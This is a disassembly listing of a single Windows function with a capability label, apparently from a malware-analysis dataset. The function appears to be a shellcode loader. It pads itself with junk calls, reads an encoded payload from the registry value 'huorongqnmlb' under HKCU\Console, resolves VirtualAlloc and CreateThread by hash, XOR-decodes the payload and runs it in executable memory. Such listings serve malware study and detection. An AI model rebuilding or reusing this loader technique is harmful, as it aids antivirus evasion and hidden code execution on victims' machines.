Function at 0x1400016f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x30
call fcn.140001140
test eax, eax
je 0x14000170e
call fcn.140001090
call section..text
test eax, eax
je 0x14000171c
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x14000172a
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140001738
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001746
call section..text
call fcn.140001140
test eax, eax
je 0x140001754
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x140001762
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001770
call section..text
call fcn.1400012a0
test eax, eax
je 0x14000177e
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x14000178c
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x14000179a
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x1400017a8
call fcn.1400012a0
call section..text
test eax, eax
je 0x1400017b6
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x1400017c4
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x1400017d2
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x1400017e0
call fcn.1400014b0
call fcn.1400011f0
test eax, eax
je 0x1400017ee
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x1400017fc
call fcn.140001140
call fcn.140001140
test eax, eax
je 0x14000180a
call section..text
call section..text
test eax, eax
je 0x140001818
call fcn.140001090
call fcn.140001140
test eax, eax
je 0x140001826
call fcn.140001090
call section..text
test eax, eax
je 0x140001834
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x140001842
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140001850
call fcn.140001090
call fcn.1400012a0
test eax, eax
je 0x14000185e
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x14000186c
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x14000187a
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140001888
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x140001896
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x1400018a4
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x1400018b2
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x1400018c0
call section..text
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x68]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r13d, r13d
mov ecx, 0x1f4
mov dword [rsp + 0x60], r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
mov qword [rsp + 0x28], r11
lea rdx, str.huorongqnmlb
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x60]
call fcn.1400022e0
mov ecx, 0x1f4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
lea rdx, str.huorongqnmlb
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x60]
call fcn.1400022e0
mov rbp, rax
cmp dword [rsp + 0x60], r13d
jbe 0x1400019a9
mov r9, rax
sub rbx, rax
mov r8, rax
neg r9
nop dword [rax]
movzx edx, byte [rbx + r8]
inc r8
mov byte [r8 - 1], dl
mov eax, dword [rsp + 0x60]
lea rdx, [r9 + r8]
cmp rdx, rax
jb 0x140001990
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001560
mov edx, 0xf0b03804
mov rcx, rax
mov rbx, rax
call fcn.140001620
mov edx, 0x1ac1e8e1
mov rcx, rbx
mov rdi, rax
call fcn.140001620
lea rcx, str.kernel32.dll
mov rsi, rax
call rdi
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rbx, rax
call rsi
lea rdx, str.CreateThread
mov rcx, rbx
mov rdi, rax
call rsi
lea rdx, str.WaitForSingleObject
mov rcx, rbx
mov r12, rax
call rsi
mov ecx, dword [rsp + 0x60]
mov r9d, r13d
mov rsi, rax
mov r8, r13
test ecx, ecx
je 0x140001a8d
mov r10, rbp
lea r11, str.0x69
nop dword [rax + rax]
movsx ecx, byte [r8 + r11]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r10], cl
and eax, 0x80000003
jge 0x140001a78
dec eax
or eax, 0xfffffffc
inc eax
mov ecx, dword [rsp + 0x60]
test eax, eax
cmove r8, r13
inc r9d
inc r10
cmp r9d, ecx
jb 0x140001a40
mov edx, ecx
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call rdi
mov r8d, dword [rsp + 0x60]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call fcn.140004800
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret